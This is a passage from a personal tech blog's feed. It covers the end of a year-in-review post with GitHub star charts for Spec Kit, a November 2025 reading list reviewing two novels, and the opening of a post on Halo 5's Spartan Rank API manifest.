  labels: ["Aug 27", "Aug 28", "Aug 29", "Aug 30", "Sep 1", "Sep 2", "Sep 3", "Sep 4", "Sep 5", "Sep 6", "Sep 7", "Sep 8", "Sep 9", "Sep 10", "Sep 11", "Sep 12", "Sep 13", "Sep 14", "Sep 15", "Sep 16", "Sep 17", "Sep 18", "Sep 19", "Sep 20", "Sep 21", "Sep 22", "Sep 23", "Sep 24", "Sep 25", "Sep 26", "Sep 27", "Sep 28", "Sep 29", "Sep 30", "Oct 1", "Oct 2", "Oct 3", "Oct 4", "Oct 5", "Oct 6", "Oct 7", "Oct 8", "Oct 9", "Oct 10", "Oct 11", "Oct 12", "Oct 13", "Oct 14", "Oct 15", "Oct 16", "Oct 17", "Oct 18", "Oct 19", "Oct 20", "Oct 21", "Oct 22", "Oct 23", "Oct 24", "Oct 25", "Oct 26", "Oct 27", "Oct 28", "Oct 29", "Oct 30", "Oct 31", "Nov 1", "Nov 2", "Nov 3", "Nov 4", "Nov 5", "Nov 6", "Nov 7", "Nov 8", "Nov 9", "Nov 10", "Nov 11", "Nov 12", "Nov 13", "Nov 14", "Nov 15", "Nov 16", "Nov 17", "Nov 18", "Nov 19", "Nov 20", "Nov 21", "Nov 22", "Nov 23", "Nov 24", "Nov 25", "Nov 26", "Nov 27", "Nov 28", "Nov 29", "Nov 30", "Dec 1", "Dec 2", "Dec 3", "Dec 4", "Dec 5", "Dec 6", "Dec 7", "Dec 8", "Dec 9", "Dec 10", "Dec 11", "Dec 12", "Dec 13", "Dec 14", "Dec 15", "Dec 16"],
  datasets: [{
    label: 'Stars per Day',
    data: [1,4,2,1,5,80,868,637,825,1414,2022,2976,2731,2175,1114,955,600,724,991,841,713,1335,1100,865,620,806,703,730,615,580,452,572,565,484,483,393,398,307,218,416,533,535,588,550,444,347,530,710,1000,667,591,345,445,670,590,501,476,464,258,255,360,419,417,354,316,170,183,327,340,340,326,357,209,338,456,373,336,388,333,281,223,353,293,320,339,302,165,154,244,282,263,243,212,134,150,245,326,307,291,265,129,152,226,247,246,255,248,167,169,233,54],
    borderColor: '#3b82f6',
    backgroundColor: 'rgba(59, 130, 246, 0.1)',
    fill: true,
    tension: 0.3
  }]
},
options: {
    responsive: true,
    aspectRatio: 1,
    plugins: {
      legend: {
        position: 'top',
      },
      title: {
        display: true,
        text: 'GitHub Stars Over Time'
      }
    },
    scales: {
        x: {
          title: {
            display: true,
            text: 'Date'
          }
        },
        y: {
          title: {
            display: true,
            text: 'Stars'
          },
          beginAtZero: true
        }
    }
}

      });
    });
  </script>
</div>

<p>If you prefer to look at repository stars in aggregate, here is what it looks like, all in less than four months:</p>
<div class="chart">
  
  <canvas id="758263941"></canvas>
  <script type="text/javascript">
    window.addEventListener("DOMContentLoaded", (event) => {
      const ctx = document.getElementById("758263941");
      const chart = new Chart(ctx, {
        
type: 'line',
data: {
  labels: ["Aug 27", "Aug 28", "Aug 29", "Aug 30", "Sep 1", "Sep 2", "Sep 3", "Sep 4", "Sep 5", "Sep 6", "Sep 7", "Sep 8", "Sep 9", "Sep 10", "Sep 11", "Sep 12", "Sep 13", "Sep 14", "Sep 15", "Sep 16", "Sep 17", "Sep 18", "Sep 19", "Sep 20", "Sep 21", "Sep 22", "Sep 23", "Sep 24", "Sep 25", "Sep 26", "Sep 27", "Sep 28", "Sep 29", "Sep 30", "Oct 1", "Oct 2", "Oct 3", "Oct 4", "Oct 5", "Oct 6", "Oct 7", "Oct 8", "Oct 9", "Oct 10", "Oct 11", "Oct 12", "Oct 13", "Oct 14", "Oct 15", "Oct 16", "Oct 17", "Oct 18", "Oct 19", "Oct 20", "Oct 21", "Oct 22", "Oct 23", "Oct 24", "Oct 25", "Oct 26", "Oct 27", "Oct 28", "Oct 29", "Oct 30", "Oct 31", "Nov 1", "Nov 2", "Nov 3", "Nov 4", "Nov 5", "Nov 6", "Nov 7", "Nov 8", "Nov 9", "Nov 10", "Nov 11", "Nov 12", "Nov 13", "Nov 14", "Nov 15", "Nov 16", "Nov 17", "Nov 18", "Nov 19", "Nov 20", "Nov 21", "Nov 22", "Nov 23", "Nov 24", "Nov 25", "Nov 26", "Nov 27", "Nov 28", "Nov 29", "Nov 30", "Dec 1", "Dec 2", "Dec 3", "Dec 4", "Dec 5", "Dec 6", "Dec 7", "Dec 8", "Dec 9", "Dec 10", "Dec 11", "Dec 12", "Dec 13", "Dec 14", "Dec 15", "Dec 16"],
  datasets: [{
    label: 'Total Stars',
    data: [1,5,7,8,13,93,961,1598,2423,3837,5859,8835,11566,13741,14855,15810,16410,17134,18125,18966,19679,21014,22114,22979,23599,24405,25108,25838,26453,27033,27485,28057,28622,29106,29589,29982,30380,30687,30905,31321,31854,32389,32977,33527,33971,34318,34848,35558,36558,37225,37816,38161,38606,39276,39866,40367,40843,41307,41565,41820,42180,42599,43016,43370,43686,43856,44039,44366,44706,45046,45372,45729,45938,46276,46732,47105,47441,47829,48162,48443,48666,49019,49312,49632,49971,50273,50438,50592,50836,51118,51381,51624,51836,51970,52120,52365,52691,52998,53289,53554,53683,53835,54061,54308,54554,54809,55057,55224,55393,55626,55680],
    borderColor: '#10b981',
    backgroundColor: 'rgba(16, 185, 129, 0.1)',
    fill: true,
    tension: 0.3
  }]
},
options: {
    responsive: true,
    aspectRatio: 1,
    plugins: {
      legend: {
        position: 'top',
      },
      title: {
        display: true,
        text: 'Cumulative GitHub Stars'
      }
    },
    scales: {
        x: {
          title: {
            display: true,
            text: 'Date'
          }
        },
        y: {
          title: {
            display: true,
            text: 'Total Stars'
          },
          beginAtZero: true
        }
    }
}

      });
    });
  </script>
</div>

<p>GitHub Spec Kit also is now the <em>second most starred repository <strong>in the entire GitHub organization</strong></em>. Breaking all sorts of internal records with a little &ldquo;Wonder what would happen?&rdquo; project.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/gh-spec-kit.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The GitHub Spec Kit repository in the GitHub organization."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/gh-spec-kit.webp"
    
  />
  </a>
  <figcaption class="text-center">The GitHub Spec Kit repository in the GitHub organization.</figcaption>
</figure>
<p>Aside from the unexpected success of GitHub Spec Kit and the <a
  href="https://www.youtube.com/playlist?list=PLA3LBCXrOOm2vjSKTyuYWyt8n6wGE8QIX"
  
  target="_blank" rel="noreferrer noopener"
>myriad of videos I created for it</a> (you can read about it on the <a
  href="https://github.blog/ai-and-ml/generative-ai/spec-driven-development-with-ai-get-started-with-a-new-open-source-toolkit/"
  
  target="_blank" rel="noreferrer noopener"
>GitHub blog</a> or the <a
  href="https://developer.microsoft.com/blog/spec-driven-development-spec-kit"
  
  target="_blank" rel="noreferrer noopener"
>Microsoft blog</a>, whichever you prefer), I also:</p>
<ul>
<li>Revamped <a
  href="https://blogscroll.com/"
  
  target="_blank" rel="noreferrer noopener"
>BlogScroll</a>.</li>
<li>Updated <a
  href="https://deck.surf/"
  
  target="_blank" rel="noreferrer noopener"
>DeckSurf</a> to support almost all available Stream Deck devices.</li>
<li>Continued to curate <a
  href="https://github.com/dend/awesome-product-management"
  
  target="_blank" rel="noreferrer noopener"
>Awesome Product Management</a>.</li>
<li>Updated this very blog (it now has a <a
  href="https://den.dev/books/"
  
  target="_blank" rel="noreferrer noopener"
>reading list</a>, a better <a
  href="https://den.dev/archives/"
  
  target="_blank" rel="noreferrer noopener"
>archives page</a>, and a <a
  href="https://den.dev/stats/"
  
  target="_blank" rel="noreferrer noopener"
>blog stats dashboard</a>).</li>
<li>Contributed to <a
  href="https://github.com/modelcontextprotocol/"
  
  target="_blank" rel="noreferrer noopener"
>MCP</a> at the spec, documentation, and SDK levels.</li>
</ul>
<p>My podcast, <a
  href="https://theworkitem.com/episodes/"
  
  target="_blank" rel="noreferrer noopener"
>The Work Item</a>, despite being on the backburner in 2025 because of other higher-priority projects still pushed me to release a few excellent episodes. I have bigger plans for it in the coming year.</p>
<p>Despite the busyness with the day-to-day, I very much tried to keep my hands on the keyboard as much as possible - the stuff that I am building is not just about material for blog posts. I find it super important to carve out time to try out new tech, experiment with different programming languages, and feed my curiosity by continuously finding new things to reverse engineer.</p>
<h2 id="lessons-in-unexpected-places" class="relative group">Lessons in unexpected places <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#lessons-in-unexpected-places" aria-label="Anchor">#</a></span></h2>
<p>I always had this idea in the back of my mind that the best lessons come from either direct experience or someone that is <em>believable</em> and can <em>explain</em> their takeaways in the shape of a reusable framework. An epiphany I had recently, however, is that sometimes this model doesn&rsquo;t fit the cases where important lessons are gifted to us from some of the sources we least expect, unbeknownst to us until much, much later.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/ms.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Exploring the trees."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/ms.webp"
    
  />
  </a>
  <figcaption class="text-center">Exploring the trees.</figcaption>
</figure>
<p>This year, I learned to recognize the growing importance of <strong>endless curiosity</strong>, <strong>unconditional courage</strong>, and <strong>unshakeable resilience</strong>.</p>
<p><strong>Curiosity</strong> to me is all about the acknowledgement that there is a lot more out there that I simply don&rsquo;t know about, but it&rsquo;s totally within reach if only I get out of my comfort zone. And by the way, it&rsquo;s not about just tech stuff, which is easy to zero in on as someone that works in the field. It&rsquo;s about the <em>environment</em> and <em>opportunities</em> around us. People&rsquo;s perspectives, places, food, hiking paths, books, movies, games, and so much more. Living life in a perpetual comfort zone, within the same constant routine, is not what this is all about.</p>
<p><strong>Courage</strong> boils down to doing the right thing and standing up for what is right. This is not always the easy choice, but it&rsquo;s a choice that must be made to push boundaries. Don&rsquo;t be afraid to take that next career step you&rsquo;ve been mulling over. Don&rsquo;t hesitate to join your friend on an adventure building something because the outcome is not yet known. Don&rsquo;t sit silent when you see someone bullied or talked down upon. The first step is scarier than the actual possible outcome.</p>
<p>Lastly, <strong>resilience</strong> to me is about being able to withstand the absolute <em>deluge</em> of unexpected curveballs with grace. This is not about <em>avoiding struggle</em> or pretending that <em>struggle doesn&rsquo;t exist</em>. For what it&rsquo;s worth, we all have our moments, but giving up is just not an option for me.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/quit.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="You don&#39;t need motivation to internalize this."
    width="400px"
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/quit.webp"
    
  />
  </a>
  <figcaption class="text-center">You don&rsquo;t need motivation to internalize this.</figcaption>
</figure>
<h2 id="onto-2026" class="relative group">Onto 2026 <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#onto-2026" aria-label="Anchor">#</a></span></h2>
<p>I am looking back at this past year with an enormous amount of gratitude. The opportunities and projects that came my way did so because at some point, someone put their trust in me, and I am incredibly thankful for that. The more time goes on, the more I recognize that it&rsquo;s <em>always</em>, <strong><em>always</em></strong> about people. Tech changes, trends come and go, but you&rsquo;d be surprised by just how often you&rsquo;re going to cross paths with people you worked with a decade ago.</p>
<p>2026 is around the corner, and I am positive it will carry its own <em>bucket</em> of changes and unexpected detours, but that&rsquo;s to be expected, right? Here are a few things that I look forward to:</p>
<ul>
<li>Connect more with folks in the MCP space. It&rsquo;s safe to say that I found my home with this community.</li>
<li>Learning even more about people&rsquo;s tech careers on my podcast (because I slacked off this year, clearly).</li>
<li>Strengthening my technical muscle. I wrote about the <a
  href="https://den.dev/blog/full-stack-person/"
  
  target="_blank" rel="noreferrer noopener"
>importance of being more of a full-stack person</a> - that&rsquo;ll require more deliberate practice.</li>
<li>Being more intentional about travel and local exploration.</li>
<li>Write more.</li>
</ul>
<p>And, as my favorite piece of swag from Anthropic says, <strong>keep thinking</strong>.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/keep-thinking.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The &#34;Keep thinking.&#34; hat from Anthropic."
    
    
    
      src="https://assets.den.dev/images/postmedia/wrapping-up-the-year-of-mcp/keep-thinking.webp"
    
  />
  </a>
  <figcaption class="text-center">The &ldquo;Keep thinking.&rdquo; hat from Anthropic.</figcaption>
</figure>
<p>May 2026 bring you nothing but all of the best from your list of aspirations!</p>
]]></content:encoded></item><item><title>November 2025 Reading List</title><link>https://den.dev/blog/november-2025-reading-list/</link><pubDate>Wed, 03 Dec 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/november-2025-reading-list/</guid><description>A summary of all the books I&rsquo;ve managed to read in November of 2025.</description><content:encoded><![CDATA[<p>This year I wanted to be a bit more intentional with spending time <em>reading</em>. Given the day-to-day busyness (<a
  href="https://staging.den.dev/blog/hello-developer-division/"
  
  target="_blank" rel="noreferrer noopener"
>day job</a>, <a
  href="https://den.dev/tags/mcp/"
  
  target="_blank" rel="noreferrer noopener"
>MCP community work</a>, and other adventures), I especially felt like I was losing the opportunity to immerse myself in new titles outside my regular list.</p>
<p>To encourage myself, I even went as far as creating a proper <a
  href="https://den.dev/books/"
  
  target="_blank" rel="noreferrer noopener"
>book tracker</a> on this very website. This work was heavily inspired by the effort that Molly White put into <a
  href="https://www.mollywhite.net/reading"
  
  target="_blank" rel="noreferrer noopener"
>her reading list</a> (with a <a
  href="https://www.mollywhite.net/micro/entry/202511021430"
  
  target="_blank" rel="noreferrer noopener"
>monthly review entry</a> to boot).</p>
<p>All of this being said, November has been a bit sparse in terms of books I picked up, but the ones I did were <em>phenomenal</em>.</p>
<h2 id="the-vanished-birds" class="relative group">The Vanished Birds <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-vanished-birds" aria-label="Anchor">#</a></span></h2>
<table>
	<thead>
			<tr>
					<th style="text-align: left"></th>
					<th style="text-align: left"></th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><strong>Author</strong></td>
					<td style="text-align: left"><a
  href="https://en.wikipedia.org/wiki/Simon_Jimenez"
  
  target="_blank" rel="noreferrer noopener"
>Simon Jimenez</a></td>
			</tr>
			<tr>
					<td style="text-align: left"><strong>Rating</strong></td>
					<td style="text-align: left">★ ★ ★ ★ ★ 5/5</td>
			</tr>
			<tr>
					<td style="text-align: left"><strong>Link</strong></td>
					<td style="text-align: left"><a
  href="https://bookshop.org/p/books/the-vanished-birds-a-novel-simon-jimenez/d070009638d78b25"
  
  target="_blank" rel="noreferrer noopener"
>Buy</a></td>
			</tr>
	</tbody>
</table>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cover for The Vanished Birds, by Simon Jimenez."
    width="200"
    
    
      src="https://assets.den.dev/images/_books/vanished-birds-simon-jimenez.webp"
    
  />
  
  <figcaption class="text-center">Cover for The Vanished Birds, by Simon Jimenez.</figcaption>
</figure>
<p>I picked this book up from the library because it was part of a Book Bingo category - <em>Found Family</em>. Its events take place in the distant future, where space travel is ubiquitous, but with its quirks. A mega-corporation owns the bulk of the inhabited planets, with some worlds from the galaxy-wide colonies being designated as &ldquo;resource worlds,&rdquo; their sole purpose being the production of resources for the mega-corporation.</p>
<p>As part of the process of collecting resources from these &ldquo;resource worlds,&rdquo; a scrappy crew of traders travels back and forth between planets, with the caveat that doing so requires breaking the rules of time and space - they have to fold through a pocket, where the trading crew only spends months, but on the planets they visit years go by.</p>
<p>The novel is written from several perspectives that shift through the narrative. It starts with one of the inhabitants of the resource planets, who describes the cyclical process of traders coming every fifteen years, collecting the resources, and then flying away.</p>
<p>The second perspective is introduced through the eyes of a captain of one of the trader ships - Nia. Nia had a rough upbringing but finds solace in being around a ragtag crew of shipmates that help her transport the goods over months traveling through space. At some point, a pod crashes on the aforementioned &ldquo;resource world,&rdquo; with a boy who did not speak or provide any clues as to where he came from.</p>
<p>As Nia was departing with her trading crew, she picked the boy up with her on the ship, determined to bring it back to one of the corporate-owned space stations, where he can be cared for.</p>
<p>Then, another perspective is introduced - that of Fumiko Nakajima, a remarkable scientist who designed the interplanetary space stations. Fumiko was a genetically-engineered child who was <em>intentionally</em> created in, what is known as a &ldquo;post-vanity&rdquo; world, with pre-designed physical appearance deformities. Through her university work, she meets Dana - a researcher working on eco-friendly tech, solar panel fields, and bio-farms. Notably, Dana is the opposite of Fumiko when it comes to appearance:</p>
<blockquote>
<p>She was the tallest woman in the room by a head. Her hair was cut short, with blond Nero bangs that fell evenly across her brow. Her ears were sylvan, pointed at the tip, and her lips full and red, without makeup. On her cheek were five freckles, each freckle a point of some invisible star, just below her right eye; an eye that was large, luminous, its iris purple and flecked with gold, which reflected nothing but Fumiko’s post-vanity face.</p>
</blockquote>
<p>Fumiko and Dana fall in love and spend as much time as possible together, especially given that they are living through a critical juncture in Earth&rsquo;s lifecycle, a time when climate change kicked off irreversible processes - cataclysmic weather events and massive population displacement.</p>
<p>This is where the story takes a bit of a dark turn. Fumiko signed a contract with the mega-corporation to design the space stations that can help evacuate parts of humanity and preserve life away from Earth. This would require her to be isolated for several years with no contact with the outside world, including from Dana (with the exception of the occasional letters). By the time Fumiko is done, Dana moved on and met someone else. She was in the middle of all the civil unrest and chaos occurring in her parts of the world, with no help from Fumiko.</p>
<p>In the meantime, Fumiko became famous - after all, she was the scientist that designed humanity&rsquo;s salvation. She is spending a good part of her time in cryogenic sleep to prolong her life, with the occasional appearance on stations that she created. She never lives down her missed opportunity with Dana, always having assistants around her that were artificially made to look like Dana in physical appearance (including doing things like coloring their eyes purple).</p>
<p>Fumiko catches wind of the boy on the trade ship and is convinced that he has a secret talent that is bound to revolutionize space travel. That talent is <em>teleportation</em> - the book spends some time setting this up, but ultimately the goal is to reverse-engineer the boy&rsquo;s ability (if he has it) and then use it for the benefit of the corporation.</p>
<p>It&rsquo;s also worth mentioning that the corporation this all occurs under the umbrella of is <em>very</em> particular about protecting their intellectual property, at often <em>high</em> cost to those that violate their rules. Fumiko will actually be on the receiving end of their wrath down the line.</p>
<p>Fumiko hires Nia&rsquo;s trade ship to go and hang out on the outskirts of the galaxy for many years to wait for the boy to develop his abilities (again, if they even exist - nobody is sure of that yet). Through that journey and many stops of the trade crew, the boy <em>eventually</em> discovers his own ability to navigate between places <em>quickly</em> and <em>effortlessly</em>. He learns the quirks of the process and how to manage it, but as he did that, one of the shipmates finds the talent out and informs Fumiko, and by proxy - the corporation about the newly-found ability (said shipmate was in charge of documenting the process to begin with).</p>
<p>While all of this is occurring, Fumiko is working on a remote research station with her own team. The pace of the entire novel picks up right then and there - the corporation found out that Fumiko attempted to effectively hide the discovery from them, and is punishing her in the most cruel way imaginable, leaving her stranded with nutrition supplies but no tools or any other people around her - all alone, with no chance of escape.</p>
<p>In the meantime, Nia&rsquo;s ship is assaulted by the corporation to extract the boy, thanks to someone within the crew who betrayed the crew&rsquo;s trust. As the boy is kidnapped, he is then instantly handed off to the team responsible for figuring out <em>how</em> his talent works. Ultimately, they do - the boy is now effectively locked in a pod, with his blood being the driver for a corporation-produced teleportation engine. He is relegated to being merely a vessel to be extracted from - hooked to all sorts of wires to IVs, stranded in a corporate-owned corner of the galaxy.</p>
<p>Meanwhile, both in separate parts of the world, Fumiko and Nia are desperately planning how to recover the boy - each in their own way. Fumiko eventually finds a way to leave the station (in an <em>extremely</em> unexpected format, at that), and Nia connects telepathically with the boy through an artifact that was always with him from the day he crashed on the &ldquo;resource world.&rdquo;</p>
<p>I won&rsquo;t spoil the ending, but this space opera was <em>definitely</em> not what I expected it to be - in a good way! The start of the book was a bit slow and maybe even confusing, but halfway through I could not put it down.</p>
<h2 id="the-phoenix-pencil-company" class="relative group">The Phoenix Pencil Company <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-phoenix-pencil-company" aria-label="Anchor">#</a></span></h2>
<table>
	<thead>
			<tr>
					<th style="text-align: left"></th>
					<th style="text-align: left"></th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: left"><strong>Author</strong></td>
					<td style="text-align: left"><a
  href="https://www.allisonjking.com/"
  
  target="_blank" rel="noreferrer noopener"
>Allison King</a></td>
			</tr>
			<tr>
					<td style="text-align: left"><strong>Rating</strong></td>
					<td style="text-align: left">★ ★ ★ ★ ★ 5/5</td>
			</tr>
			<tr>
					<td style="text-align: left"><strong>Link</strong></td>
					<td style="text-align: left"><a
  href="https://bookshop.org/p/books/the-phoenix-pencil-company-allison-king/a7685d5c4aba7237"
  
  target="_blank" rel="noreferrer noopener"
>Buy</a></td>
			</tr>
	</tbody>
</table>







<figure>
  
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Cover for The Phoenix Pencil Company, by Allison King."
    width="200"
    
    
      src="https://assets.den.dev/images/_books/phoenix-pencil-company-allison-king.webp"
    
  />
  
  <figcaption class="text-center">Cover for The Phoenix Pencil Company, by Allison King.</figcaption>
</figure>
<p>Also an unexpected gem for the Book Bingo from our local library - I picked it because it was fitting the <em>Flowers On Cover</em> category, and wow - what a story.</p>
<p>The entire book is written mostly from two diary perspectives - that of Wong Yun and Monica Tsai. Monica is a computer science student and Yun is her grandmother. The story is structured as &ldquo;timeline snapshots&rdquo; - Yun is documenting her life in pre-war Shanghai, her family, and the struggles they encountered through World War II, the Chinese Civil War, uprooting part of her family and moving to Taiwan, and subsequently settling in the United States.</p>
<p>Monica, on the other hand, is documenting her work on a college project, called EMBRS, designed to capture journal entries and personal information (such as social media) and then make connections with people based on that information. Through EMBRS, Monica discovers her grandmother&rsquo;s cousin, Meng, with some extra help from another college student who happened to be in Shanghai at that time - Louise.</p>
<p>Through Louise, Meng sent Yun a pencil - a seemingly insignificant gift, that then unravels a number of stories on Yun and Meng&rsquo;s background. As it turns out, the women in Yun and Meng&rsquo;s family line have the ability to &ldquo;melt&rdquo; the pencil heart into their blood and re-live and re-create the writing and memories crafted by the pencil owner <em>with</em> that pencil. This is what&rsquo;s known as &ldquo;reforging.&rdquo; With this story piece in place, the entire interwoven narrative becomes that much more complex - in Yun&rsquo;s youth, just like her mother, aunt, and cousin, she was roped into a number of intelligence-related tasks, helping smuggle messages through pencils. After all, the pencil owners could write anything, discard the writing, and then transfer the pencil to someone who can reforge it to get the message.</p>
<p>Monica and Louise, in the current day, develop their own relationship - one that initially is based on Louise&rsquo;s hidden desire to document and archive Monica&rsquo;s grandmother&rsquo;s stories, but going way beyond that as they get to know each other. Their relationship then gets contrasted to that of Yun and her cousin as well as Yun and her husband, who she met in Taiwan but didn&rsquo;t marry until much later, when she moved to the United States.</p>
<p>This book was, hands down, the highlight of this month&rsquo;s reading list. The story is captivating and as you progress through the historically detached diary entries - it starts making more and more sense and the big scattered puzzle suddenly starts making sense. This book has everything - spy intrigue, romance, adventure, and plenty of reflections on privacy and the value of stories in life.</p>
]]></content:encoded></item><item><title>Dissecting The Halo 5 Spartan Rank Manifest</title><link>https://den.dev/blog/halo-5-spartan-rank-manifest/</link><pubDate>Wed, 26 Nov 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/halo-5-spartan-rank-manifest/</guid><description>Did you know that Halo 5 had an entire API endpoint that defined the Spartan Rank progression? You do now - here is what it had inside.</description><content:encoded><![CDATA[<div class="flex px-4 py-3 rounded-md bg-primary-100 dark:bg-primary-900">
  <span class="text-primary-400 ltr:pr-3 rtl:pl-3">
    

  <span class="relative inline-block align-text-bottom icon" aria-hidden="true">
    <svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 1280 1280" height="1280" width="1280">
<path d="M1126.08 624.309C1126.08 640.555 1126.08 653.616 1126.08 669.225C1104.1 669.225 1082.44 669.862 1061.09 668.906C1049.63 668.588 1041.34 672.729 1036.25 682.285C993.243 760.33 923.162 803.653 842.25 831.685C775.355 854.621 705.274 863.859 634.875 866.725C598.241 868.318 561.608 867.681 524.975 867.363C519.56 867.363 512.233 866.088 509.048 862.584C494.076 846.338 474.326 844.427 454.257 841.56C426.543 837.419 398.829 832.322 371.116 828.499C357.099 826.588 350.728 820.536 352.321 805.564C353.595 795.689 352.64 785.495 352.64 775.62C393.733 781.036 433.551 786.77 473.37 791.866C579.447 805.245 682.976 793.778 782.363 754.277C811.351 742.81 838.746 724.971 863.275 705.221C905.323 671.136 905.96 620.805 868.053 581.624C833.968 546.265 790.964 526.196 744.456 513.772C666.411 492.748 586.774 488.289 506.18 492.748C448.204 495.934 391.184 503.579 336.075 521.736C282.559 539.575 232.546 562.511 198.462 613.479C183.49 601.692 169.155 590.543 154.82 579.394C183.49 533.523 225.538 506.446 272.047 485.74C294.982 475.547 319.829 468.538 343.402 458.982C351.047 456.115 359.329 451.974 364.107 445.921C373.982 433.817 386.087 429.357 400.741 426.808C479.104 412.792 558.104 411.2 637.104 414.385C739.996 418.845 838.109 441.78 928.577 492.748C976.36 519.506 1014.59 555.821 1036.88 607.108C1041.98 618.894 1050.58 623.991 1063.01 623.991C1083.07 623.991 1103.78 624.309 1126.08 624.309Z"/>
<path fill="currentColor" d="M556.821 695.346C532.93 696.301 510.313 691.842 490.563 677.825C467.309 661.261 467.309 635.458 492.156 621.123C533.886 597.232 577.208 596.914 618.938 620.168C646.652 635.458 646.334 661.579 619.894 679.418C601.099 692.16 579.438 695.983 556.821 695.346Z"/>
</svg>

  </span>


  </span>
  <span class="dark:text-neutral-300">This blog post is part of a <a
  href="https://den.dev/tags/halo-api/"
  
  target="_blank" rel="noreferrer noopener"
>series on exploring the Halo game API</a>.</span>
</div>
<p>There is nothing better than preparing for the Thanksgiving holiday in the United States by sitting down and documenting something that was on my list <em>for some time</em> - the <strong>Halo 5 Spartan Rank Manifest</strong>.</p>
<h2 id="ranking-in-halo-5" class="relative group">Ranking in Halo 5 <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#ranking-in-halo-5" aria-label="Anchor">#</a></span></h2>
<p>Halo 5: Guardians was released a decade ago, on October 27th, 2015. Despite the marketing blunders and somewhat unfulfilled promises, I still found the title to be very compelling, both in singleplayer and multiplayer modes.</p>
<p>Halo 5 had a fairly typical progression strategy that was not different from many other games - you play matches, you earn experience, and you progress through <a
  href="https://www.halopedia.org/Rank_%28Halo_5:_Guardians%29"
  
  target="_blank" rel="noreferrer noopener"
>Spartan Ranks</a> (abbreviated as <code>SR</code>). You&rsquo;d start at <code>SR1</code> and make your way to <code>SR152</code>. Reaching the top level required a <em>whopping</em> 50,000,000 XP, which meant that players would have to play the game <em>for a while</em> to get to the top rank. This makes <a
  href="https://den.dev/blog/hero-rank-halo-infinite/"
  
  target="_blank" rel="noreferrer noopener"
>reaching Hero in Halo Infinite</a> a walk in the park.</p>
<p>Here is where I am today, in 2025:</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/halo-5-spartan-rank-manifest/current-halo-5-status.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="My SR140 Spartan."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-5-spartan-rank-manifest/current-halo-5-status.webp"
    
  />
  </a>
  <figcaption class="text-center">My SR140 Spartan.</figcaption>
</figure>
<p>Just comfortably sitting at <code>SR140</code>, where I am 12.84% to the top rank, netting around 6,421,088 XP since the launch of the game. For what it&rsquo;s worth, I haven&rsquo;t played the game in a long time, but it puts the overall scale of XP needed to &ldquo;finish the fight&rdquo; in perspective. I am <em>12 Spartan Ranks</em> away from the top, and I am under 13% to that level. Wild.</p>
<p>Consider a typical Post-Game Carnage Report (PGCR) <em>for me</em> (caveat - I am sure there are better players out there who can outperform me in Husky Raid and get more XP):</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/halo-5-spartan-rank-manifest/halo-5-earned-xp.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Example match performance for a Super Fiesta Oddball."
    
    
    
      src="https://assets.den.dev/images/postmedia/halo-5-spartan-rank-manifest/halo-5-earned-xp.webp"
    
  />
  </a>
  <figcaption class="text-center">Example match performance for a Super Fiesta Oddball.</figcaption>
</figure>
<p>That&rsquo;s 3,580 XP. From <code>SR1</code> to <code>SR152</code> it would take me about 13,966 matches <em>if</em> I keep the performance consistent.</p>
<p>But, taking a step back - there&rsquo;s something about the progression that is <em>not well known</em>. Let&rsquo;s dive in.</p>
<h2 id="spartan-rank-manifest" class="relative group">Spartan Rank Manifest <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#spartan-rank-manifest" aria-label="Anchor">#</a></span></h2>
